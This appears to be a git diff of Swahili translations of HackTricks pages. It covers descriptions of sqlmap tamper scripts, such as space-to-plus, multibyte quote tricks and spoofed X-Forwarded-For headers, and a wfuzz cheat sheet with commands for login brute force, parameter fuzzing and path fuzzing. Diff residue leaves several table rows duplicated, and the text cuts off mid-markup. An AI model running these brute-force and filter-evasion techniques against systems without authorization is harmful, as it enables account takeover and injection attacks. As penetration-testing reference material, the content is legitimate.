| space2mysqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2mysqldash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mstari mpya ('\n') |
| space2plus.py | Hubadilisha herufi ya nafasi (' ') na plus ('+') |
| space2mysqldash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mstari mpya ('\n') |
| space2plus.py | Hubadilisha herufi ya nafasi (' ') na plus ('+') |
| space2randomblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama (&& na |
| symboliclogical.py | Hubadilisha opereta za AND na OR za kiakili na sawa zao za alama (&& na |
| unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT |
| unmagicquotes.py | Hubadilisha herufi ya nukuu (') na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya ifanye kazi) |
| unmagicquotes.py | Hubadilisha herufi ya nukta (') na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya ifanye kazi) |
| uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' |
| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
| versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
| versionedmorekeywords.py | Huweka kila neno muhimu na maoni ya MySQL yenye toleo |
| xforwardedfor.py | Huongeza kichwa cha uwongo cha HTTP 'X-Forwarded-For' |
| xforwardedfor.py | Huongeza kichwa cha uwongo cha HTTP 'X-Forwarded-For' |
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting**. Endesha pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwa recon hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting**. Endesha pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwa recon hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunakuza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
Zana la FUZZ kwa programu za wavuti popote.
> [Wfuzz](https://github.com/xmendez/wfuzz) imeundwa kusaidia kazi katika tathmini za programu za wavuti na inategemea dhana rahisi: inachukua nafasi ya rejeleo lolote kwa neno la FUZZ kwa thamani ya payload fulani.
> [Wfuzz](https://github.com/xmendez/wfuzz) imeundwa ili kurahisisha kazi katika tathmini za programu za wavuti na inategemea dhana rahisi: inachukua nafasi ya rejeleo lolote kwa neno la FUZZ kwa thamani ya payload fulani.
## Installation
@ -57,7 +57,7 @@ Mifano:
-w /path/to/file,base64 #Will use a list, and transform to base64
-z list,each-element-here,hexlify #Inline list and to hex before sending values
```
## CheetSheet
## CheatSheet
### Fomu ya Kuingia bruteforce
@ -81,7 +81,7 @@ wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHP
```
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
```
### Parametri za Njia BF
### Parameta za Njia BF
```bash
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
```
@ -126,13 +126,13 @@ $ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
#Filter by whitelisting codes
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
```
## Tool to bypass Webs
## Chombo cha kupita Webs
[https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>